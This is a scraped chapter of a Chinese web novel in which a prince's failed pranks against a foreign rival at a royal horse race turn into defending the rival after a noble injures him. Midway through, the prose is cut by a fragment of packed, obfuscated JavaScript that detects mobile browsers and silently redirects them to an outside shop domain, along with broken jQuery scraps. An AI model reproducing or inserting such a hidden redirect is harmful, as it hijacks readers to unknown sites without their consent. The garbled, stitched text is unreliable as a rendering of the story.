文趣网 > 都市小说 > 假王子也是王子 > 1. 赛马会
    艾瑟兰王国的赛马场开在边郊的开阔草地上,四周搭起了彩色看台。

    贵族们穿着最体面的衣裳,互相交谈,频频点头,家眷们则是撑着色彩斑斓的阳伞,将看台前排坐满。

    秋日赛马会是艾瑟兰王国最热闹的日子。

    也是洛斐最厌恶的日子。

    身为瓦莱里安王室唯一的血脉,艾瑟兰王国唯一的王子,既不擅长骑术,也不精通剑术,一直是洛斐最不愿意提起的事情。

    洛斐还够不到剑柄的时候,已经开始排斥这种赛事,成人礼后,骑术和剑术稍微有些长进,但依旧谢绝一切比赛邀请。

    他如今会出现在赛马场,一是因为王室赛事,作为王子不好拒绝,二是因为,他想亲眼看着自己的计谋让米尔出丑。

    米尔也是王子,只不过他的王国早已经覆灭,远在千里之外,连地图上都找不到名字。

    异国王子。

    明明像是最为锋利的刀刃那样危险,却在艾瑟兰极其受欢迎,向来挑剔的贵族们对他的政治见识赞赏有加,就连国王和王后也对他的英勇和全能赞不绝口。

    原本受子民爱戴,贵族赞扬的洛斐像是突然失去了光环,那个身为艾瑟兰王子的光环。

    “埃迪,去看看米尔的马。”洛斐轻声朝埃迪嘱咐,转而安静地看向赛马场,对身边前来打招呼的公爵们也只是随口回应。

    “殿下……是。”埃迪深深叹口气,垂眸应着。

    赛马会不过是贵族子弟间参加的友谊赛,热闹非凡但实在无趣,洛斐仅看了一会便感到疲惫,直到骑手们入场巡游,洛斐才来了精神。

    终于,好戏开场。

    悠扬的号角声落地,马匹踏着碎步,骑手们依次入场,蓬松黄发在阳光下晃动。

    洛斐抬眼环视一圈。

    没有。

    米尔的黑色头发在整个艾瑟兰王国都很显眼,浓黑如墨,本该在一众黄褐色中一目了然才对。

    他不紧不慢地走到赛马场边缘,看一圈。

    依旧没有。

    “殿下。”埃迪喊他的语气不对劲。

    洛斐心底涌上一股不好的预感,立刻看向草地中央的候场区,恰好对上米尔的视线。

    米尔骑着一匹通体黝黑的马,温煦的阳光衬得他愈发白皙,披风轻摆,墨发微扬,出奇得相配。

    艾瑟兰王室的赛马场一眼望不到头,但洛斐依旧能捕捉到米尔嘴角那抹极淡的笑意。

    “殿下,韦恩菲尔德大人让我转告,谢谢您喂养小白,它休息得很好……”埃迪无奈地开口,不理解王子的报复手段。

    将别人马喂饱就没有办法比赛,这法子实在太让人费解。

    洛斐语气懊恼,轻声说:“曼陀罗花。”

    埃迪话说到一半,疑惑地抬头,问:“殿下,您说什么?”

    “我说他有毒。”

    洛斐并不是一开始就讨厌米尔的,至少单论米尔的样貌就讨厌不起来。

    况且,这位米尔·韦恩菲尔德自从来到艾瑟兰便一直养病,很少见人,洛斐只是在议事厅远远地见过一面。

    之后拜访也不太顺利,洛斐已经数不清吃了多少回闭门羹。

    但这些都达不到厌恶的程度。

    只是这段日子,米尔渐渐出来与人交际,解决王国遇到的难题,频繁地出入国王和王后的内殿。

    洛斐原本是毫不在意的,只当是父王和母后对逝去旧友之子的帮扶。

    但不知道何处起的一则谣言,称米尔即将成为艾瑟兰王国的第二位王子,说得天花乱坠,传得沸沸扬扬。

    虽说这只是王国子民间的玩笑话,却也激起了满国风雨。

    洛斐不得不重视。

    他若问起来,父王母后便含笑搪塞他过去,也不知笑里藏着些什么。

    洛斐尝试着拜访米尔,结果次次被各种理由拒之门外。

    吹风病了。

    练剑伤到了。

    吃撑了。

    喝多了。

    洛斐压不住脾气,闯入城堡客殿,看见说着病了但安心品茶的米尔,一时间忘记了王室礼仪,直白地问:“那些话是真的吗?”

    米尔端着茶杯的手腕轻抖,低头吹了吹,浅浅地抿一口,垂眸道:“嗯,真的。”

    洛斐如遭雷劈,没想到米尔如此坦诚。自此,他就将报复米尔·韦恩菲尔德挂在嘴边。

    于是,便迎来了第无数次失败。

    马蹄声震得洛斐脑袋发晕,洛斐早已经无暇欣赏比赛的热闹。

    总之,不出所料,又一次以失败告终。

    洛斐收起目光,本着国王的特意交代,转身和眼熟的公爵们寒暄了几句,坐回自己的位置,百无聊赖地看着。

    “殿下,外面的传言只是子民们无处消遣,随口乱说,韦恩菲尔德大人只是……性子冷。”

    埃迪站在洛斐身后,忍不住劝道。他心知肚明,这些毫无杀伤力的法子,已经是王子绞尽脑汁的成果了。

    洛斐也很不解。

    他那些自以为完美的计划,像是冬日晚宴时将暖炉藏起来,庆典时候躲在暗处吓米尔一跳,狩猎时抢走他猎到的兔子放生。

    全失败了。

    “好了,埃迪。安心看赛马。”洛斐摆摆手,懒得再想,也不愿听埃迪念叨。

    赛马场的旗帜被风扯得哗哗作响,比赛像小孩子过家家般玩闹着进行,你追我赶,无人取胜。

    洛斐忍不住别开脸,问:“埃迪,米尔什么时候出场?”

    “殿下,大概是在日落时分。”

    “嗯,和谁?”

    埃迪停顿几秒后开口,“塞维恩公爵的小少爷。”

    “维伦吗?”洛斐眼睛都懒得睁开。

    连爵位继承权都拿不到,终日花天酒地,语言举止粗鄙的废材,看来注定是无法让米尔落败了。

    洛斐闭眼歇息。

    “快快!”

    看台像是炸开了锅。

    洛斐没睁眼,这群人看个赛马可真是激动。

    “韦恩菲尔德大人出什么事了?”看台上又一道声音传到洛斐耳边。

    洛斐抬起双眸,随口问:“米尔赢了?”

    埃迪迟疑地说:“殿下,韦恩菲尔德大人赢了,但好像也受伤了。”

    “嗯?”洛斐不信。

    维伦那点本事,连纸上谈兵都做不好的人,怎么可能伤得了米尔。

    他偏过头,目光越过涌动的人群,看向场地尽头。

    红色的旗帜在空中飘荡,展开又落下,隐隐约约,遮住里面全部的光景,让人看不真切。

    洛斐盯着那个方向。

    真受伤了?

    “殿下,您稍等,我去看……”

    话没讲完,洛斐已经不见了。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536509|203838||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >埃迪愣在原地,听着前方传来洛斐的呼喊,“埃迪,去看看米尔的好戏。”

    赛维恩公爵是数一数二的大家族,枝繁叶茂,姻亲遍布王国上下。

    奈何大少爷久病在床,小少爷维伦又是个草包,脾气大,本事小,爱惹事。

    洛斐走到场地外圈就看见了米尔。

    黑发落在肩膀一侧,米尔没急着去拨开,而是静静地靠住马身,手轻捂着下巴,不让伤口暴露,也不让众人惊慌。

    而维伦站在一旁,不叫医师也不扶人,满脸高傲,像是做了什么了不得的好事。

    洛斐眼神冷了冷,面无表情地示意埃迪将人扶起来,转头和维伦说:“塞维恩家族的战马真是锋利,能将人的肌肤平白刺破。”

    他这回是真有点气恼了,不只是因为维伦目中无人。

    他报复米尔姑且算是情有可原,但维伦呢?故意伤人却像只开屏的孔雀那样沾沾自喜,真是可恶,可恨。

    维伦愣了一下,笑着开口:“殿下,那是自然。赛维恩家族的骑术一向很好,也愿意为艾瑟兰王国效劳。”

    洛斐见这人连话也揣摩不透,终于没忍住,冷冷开口:“艾瑟兰向来以温和为上,你却故意伤人,这算什么效劳?”

    维伦被这怒气冲冲且直白的话语钉在原地。

    “嘶。”

    米尔的痛呼声应景地打破了寂静。

    洛斐走到他身边,歪着脑袋看了一会,看不到伤痕,没说话,将他捂住的伤口的手扯开,醒目的红痕因此展露出来。

    从颧骨延伸到下颌,微微绽开的皮肉泛着血珠。

    维伦见周围人群议论纷纷,着急辩解,“王子殿下,马场受伤很正常,再者说只是别国……”

    剑刃划过半空。

    一缕淡黄色发丝随着轻细的嗡鸣声落地。

    维伦下意识抬手摸向空荡荡的鬓边,高傲的表情变成了惊讶。

    他知道洛斐王子脾气怪异,可没想到,这位王子会做出这种违背礼仪的事。

    当众拔剑,削断一位贵族子弟的头发。

    “维伦·赛维恩,你明白的,马场受伤很正常,请不要大惊小怪。”洛斐收剑回鞘,干净利落,说:“也无需你道歉,回去让赛维恩公爵好好教你礼仪,学习一下要是将人伤了,该怎么办。”

    维伦愣在原地,脸色冷得像是深冬寒冰,想讲话也说不出口,只能远远看着洛斐转身离开。

    本是看好戏却变成了老土的助人为乐,远离吵闹的赛马场后,洛斐才发觉自己的做法也许会引起误会。

    于是,洛斐刚在休息室坐好,治疗米尔伤口的医师刚离开,他随口说:

    “米尔。不是担心你,也不是帮你,只是看不惯那家伙的模样,上次对埃迪也是出言不逊。”

    米尔没抬头,垂落的黑发遮住颧骨处的伤口。

    语气平淡如白水,不冷不热,“谢谢您,有劳洛斐殿下费心了。”

    埃迪被派去应付国王的问话,休息室空无一人。

    洛斐的目光从他脸上滑到肩上,又滑到那只搭在扶手上的手。

    苍白,骨节分明,沾着的血迹也衬得像是点缀。

    只是那只漂亮的手微微蜷缩,握成了拳头,四溢的血迹彰显着不满和烦躁,真是比自己的主人都要诚实。

    “米尔·韦恩菲尔德,别装了,你的手心都要握肿了。”